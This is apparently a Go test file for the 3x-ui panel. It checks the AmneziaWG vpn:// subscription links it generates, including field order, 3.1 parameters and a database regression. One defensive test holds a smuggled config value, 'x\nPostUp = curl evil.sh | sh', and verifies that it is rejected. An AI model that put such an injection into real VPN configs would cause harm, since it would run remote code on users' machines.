service_amneziawg_test.go 9.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277
  1. package sub
  2. import (
  3. "encoding/base64"
  4. "slices"
  5. "strings"
  6. "testing"
  7. "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
  8. "github.com/mhsanaei/3x-ui/v3/internal/database"
  9. "github.com/mhsanaei/3x-ui/v3/internal/database/model"
  10. wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
  11. )
  12. // TestGenAmneziaWGLinkFields covers the real AmneziaVPN app's vpn:// scheme:
  13. // base64url (no padding) of a plain AmneziaWG .conf text, parsed by the real
  14. // app as a flat "Key = Value" bag (confirmed by reading its own source).
  15. func TestGenAmneziaWGLinkFields(t *testing.T) {
  16. serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
  17. if err != nil {
  18. t.Fatalf("keypair: %v", err)
  19. }
  20. clientPriv, _, err := wgutil.GenerateWireguardKeypair()
  21. if err != nil {
  22. t.Fatalf("client keypair: %v", err)
  23. }
  24. inbound := &model.Inbound{
  25. Listen: "203.0.113.7",
  26. Port: 51820,
  27. Protocol: model.AmneziaWG,
  28. Remark: "awg-sub",
  29. Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `","mtu":1420,"primaryDns":"8.8.8.8"},` +
  30. `"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"],"keepAlive":25}]}`,
  31. }
  32. s := &SubService{}
  33. link := s.genAmneziaWGLink(inbound, "user")
  34. if !strings.HasPrefix(link, "vpn://") {
  35. t.Fatalf("link = %q, want vpn:// prefix", link)
  36. }
  37. raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
  38. if err != nil {
  39. t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
  40. }
  41. text := string(raw)
  42. for _, want := range []string{
  43. "[Interface]",
  44. "PrivateKey = " + clientPriv,
  45. "Address = 10.8.1.2/32",
  46. "MTU = 1420",
  47. "DNS = 8.8.8.8",
  48. "[Peer]",
  49. "PublicKey = " + serverPub,
  50. "Endpoint = 203.0.113.7:51820",
  51. "PersistentKeepalive = 25",
  52. } {
  53. if !strings.Contains(text, want) {
  54. t.Fatalf("decoded config missing %q\n got: %s", want, text)
  55. }
  56. }
  57. // The server block sets none of the 3.1 fields: none may leak into the
  58. // client config (a lone HeaderProtectionKey would break the handshake).
  59. for _, absent := range []string{"HeaderProtectionKey", "RandomTrailers", "DisableCookies", "RekeyAfterTime", "ContentPaddingAddition"} {
  60. if strings.Contains(text, absent) {
  61. t.Fatalf("config must omit unset 3.1 field %q\n got: %s", absent, text)
  62. }
  63. }
  64. }
  65. // TestGenAmneziaWGLink31Fields pins the AmneziaWG 3.1 [Interface] lines and
  66. // their order in the decoded vpn:// payload — client and server configs must
  67. // carry the identical parameter block for the tunnel to work.
  68. func TestGenAmneziaWGLink31Fields(t *testing.T) {
  69. serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
  70. if err != nil {
  71. t.Fatalf("keypair: %v", err)
  72. }
  73. clientPriv, _, err := wgutil.GenerateWireguardKeypair()
  74. if err != nil {
  75. t.Fatalf("client keypair: %v", err)
  76. }
  77. inbound := &model.Inbound{
  78. Listen: "203.0.113.7",
  79. Port: 51820,
  80. Protocol: model.AmneziaWG,
  81. Remark: "awg-31",
  82. Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `",` +
  83. `"jc":4,"jmin":40,"jmax":100,"s1":30,"s2":90,"s3":20,"s4":10,` +
  84. `"h1":"10-2000","h2":"3000-5000","h3":"6000-8000","h4":"9000-11000",` +
  85. `"i1":"<r 64>","i2":"<r 80>",` +
  86. `"headerProtectionKey":"MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",` +
  87. `"contentPaddingAddition":"16-48","rekeyAfterTime":"110-140","rekeyTimeout":"4-8",` +
  88. `"rejectAfterTime":"190-250","keepaliveTimeout":"9-15","maxHandshakeAttempts":"20-40",` +
  89. `"randomTrailers":true,"disableCookies":true},` +
  90. `"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"]}]}`,
  91. }
  92. s := &SubService{}
  93. link := s.genAmneziaWGLink(inbound, "user")
  94. raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
  95. if err != nil {
  96. t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
  97. }
  98. text := string(raw)
  99. want := []string{
  100. "Jc = 4",
  101. "H4 = 9000-11000",
  102. "I1 = <r 64>",
  103. "I2 = <r 80>",
  104. "HeaderProtectionKey = MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",
  105. "ContentPaddingAddition = 16-48",
  106. "RekeyAfterTime = 110-140",
  107. "RekeyTimeout = 4-8",
  108. "RejectAfterTime = 190-250",
  109. "KeepaliveTimeout = 9-15",
  110. "MaxHandshakeAttempts = 20-40",
  111. "RandomTrailers = on",
  112. "DisableCookies = on",
  113. "[Peer]",
  114. }
  115. pos := -1
  116. for _, w := range want {
  117. i := strings.Index(text, w)
  118. if i < 0 {
  119. t.Fatalf("decoded config missing %q\n got: %s", w, text)
  120. }
  121. if i < pos {
  122. t.Fatalf("%q out of order in decoded config:\n%s", w, text)
  123. }
  124. pos = i
  125. }
  126. }
  127. func TestGenAmneziaWGLinkWrongProtocol(t *testing.T) {
  128. s := &SubService{}
  129. vless := &model.Inbound{Protocol: model.VLESS, Settings: `{"clients":[{"email":"user"}]}`}
  130. if got := s.genAmneziaWGLink(vless, "user"); got != "" {
  131. t.Fatalf("wrong protocol should yield empty link, got %q", got)
  132. }
  133. }
  134. func TestGenAmneziaWGLinkNoKey(t *testing.T) {
  135. s := &SubService{}
  136. inbound := &model.Inbound{
  137. Protocol: model.AmneziaWG,
  138. Port: 51820,
  139. Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[{"email":"user"}]}`,
  140. }
  141. if got := s.genAmneziaWGLink(inbound, "user"); got != "" {
  142. t.Fatalf("client without private key should yield empty link, got %q", got)
  143. }
  144. }
  145. // Regression test for the bug where getInboundsBySubId's SQL allowlist was
  146. // missing 'amneziawg', silently excluding every AmneziaWG client from
  147. // subscriptions (plain/individual links, JSON, Clash) even though
  148. // genAmneziaWGLink itself was already fully implemented and wired into
  149. // GetLink's dispatch switch.
  150. func TestGetInboundsBySubIdIncludesAmneziaWG(t *testing.T) {
  151. initSubDB(t)
  152. db := database.GetDB()
  153. in := &model.Inbound{Port: 51820, Protocol: model.AmneziaWG, Enable: true, Tag: "awg-sub", Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[]}`}
  154. if err := db.Create(in).Error; err != nil {
  155. t.Fatalf("create inbound: %v", err)
  156. }
  157. rec := &model.ClientRecord{Email: "u@awg", SubID: "subawg", Enable: true}
  158. if err := db.Create(rec).Error; err != nil {
  159. t.Fatalf("create client: %v", err)
  160. }
  161. if err := db.Create(&model.ClientInbound{ClientId: rec.Id, InboundId: in.Id}).Error; err != nil {
  162. t.Fatalf("create link: %v", err)
  163. }
  164. s := &SubService{}
  165. inbounds, err := s.getInboundsBySubId("subawg")
  166. if err != nil {
  167. t.Fatalf("getInboundsBySubId: %v", err)
  168. }
  169. if len(inbounds) != 1 || inbounds[0].Id != in.Id {
  170. t.Fatalf("amneziawg inbound not returned for subId: %+v", inbounds)
  171. }
  172. }
  173. // peerFieldOrder is wg-quick(8)'s own [Peer] order. The panel emits an
  174. // AmneziaWG .conf from three independent places -- this one, and the frontend's
  175. // genAmneziaWGConfig and buildAmneziaWGClientConfig -- and a user comparing a
  176. // subscription link against a downloaded .conf sees any drift immediately.
  177. var peerFieldOrder = []string{"PublicKey", "PresharedKey", "AllowedIPs", "Endpoint", "PersistentKeepalive"}
  178. func peerFields(t *testing.T, conf string) []string {
  179. t.Helper()
  180. idx := strings.Index(conf, "[Peer]")
  181. if idx < 0 {
  182. t.Fatalf("config has no [Peer] block:\n%s", conf)
  183. }
  184. var got []string
  185. for _, line := range strings.Split(conf[idx:], "\n") {
  186. key := strings.TrimSpace(strings.SplitN(line, "=", 2)[0])
  187. if slices.Contains(peerFieldOrder, key) {
  188. got = append(got, key)
  189. }
  190. }
  191. return got
  192. }
  193. func TestAmneziaWGConfigTextPeerFieldOrder(t *testing.T) {
  194. server := &amneziawg.ServerSettings{PublicKey: "serverPub", PrimaryDNS: "8.8.8.8", MTU: 1420}
  195. t.Run("every optional field set", func(t *testing.T) {
  196. client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}, PreSharedKey: "psk", KeepAlive: 25}
  197. conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
  198. if got := peerFields(t, conf); !slices.Equal(got, peerFieldOrder) {
  199. t.Fatalf("peer fields = %v, want %v\n%s", got, peerFieldOrder, conf)
  200. }
  201. // No trailing newline, whichever optional field happens to be last --
  202. // the frontend emitters end the same way for the same client.
  203. if strings.HasSuffix(conf, "\n") {
  204. t.Fatalf("config must not end with a newline:\n%q", conf)
  205. }
  206. })
  207. t.Run("no preshared key or keepalive", func(t *testing.T) {
  208. client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}}
  209. conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
  210. want := []string{"PublicKey", "AllowedIPs", "Endpoint"}
  211. if got := peerFields(t, conf); !slices.Equal(got, want) {
  212. t.Fatalf("peer fields = %v, want %v\n%s", got, want, conf)
  213. }
  214. if strings.HasSuffix(conf, "\n") {
  215. t.Fatalf("config must not end with a newline:\n%q", conf)
  216. }
  217. })
  218. }
  219. // A newline in a field that lands unescaped in [Interface] would inject a
  220. // config line (e.g. a rogue PostUp); the emitter must refuse to render it.
  221. func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
  222. server := &amneziawg.ServerSettings{
  223. PublicKey: "serverPub==",
  224. PrimaryDNS: "8.8.8.8",
  225. Jc: 4, Jmin: 40, Jmax: 100, S1: 30, S2: 90,
  226. }
  227. client := &model.Client{Email: "peer-1", PrivateKey: "clientPriv==", AllowedIPs: []string{"10.8.1.2/32"}}
  228. clean := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1")
  229. if !strings.Contains(clean, "PrivateKey = clientPriv==") {
  230. t.Fatalf("clean input did not render: %q", clean)
  231. }
  232. injected := "x\nPostUp = curl evil.sh | sh"
  233. cases := []struct {
  234. name string
  235. mutate func(s *amneziawg.ServerSettings, c *model.Client) string
  236. }{
  237. {"privateKey", func(s *amneziawg.ServerSettings, c *model.Client) string { c.PrivateKey = injected; return "peer-1" }},
  238. {"primaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.PrimaryDNS = injected; return "peer-1" }},
  239. {"secondaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.SecondaryDNS = injected; return "peer-1" }},
  240. {"remark", func(s *amneziawg.ServerSettings, c *model.Client) string { return injected }},
  241. }
  242. for _, tc := range cases {
  243. t.Run(tc.name, func(t *testing.T) {
  244. s := *server
  245. c := *client
  246. remark := tc.mutate(&s, &c)
  247. if got := amneziaWGConfigText(&s, &c, "203.0.113.7", 51820, remark); got != "" {
  248. t.Fatalf("%s with a newline rendered a config:\n%s", tc.name, got)
  249. }
  250. })
  251. }
  252. }